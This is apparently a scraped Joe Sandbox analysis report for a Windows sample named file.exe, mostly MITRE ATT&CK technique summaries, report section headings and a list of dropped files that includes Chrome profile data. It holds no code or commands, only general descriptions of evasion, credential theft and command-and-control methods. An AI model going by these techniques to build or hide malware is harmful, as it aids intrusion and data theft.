Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Malware Analysis System Evasion

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_11.exe_baee5d1ed4328807f5996dd6deb9a90adf4289_231f6c6c_181ca79c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9C12.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9E36.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9EA5.tmp.xml

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\CrashpadMetrics-active.pma

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Affiliation Database

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\DownloadMetadata

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Extension Cookies

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Favicons

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\Google Profile.ico

C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W\Default\History

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre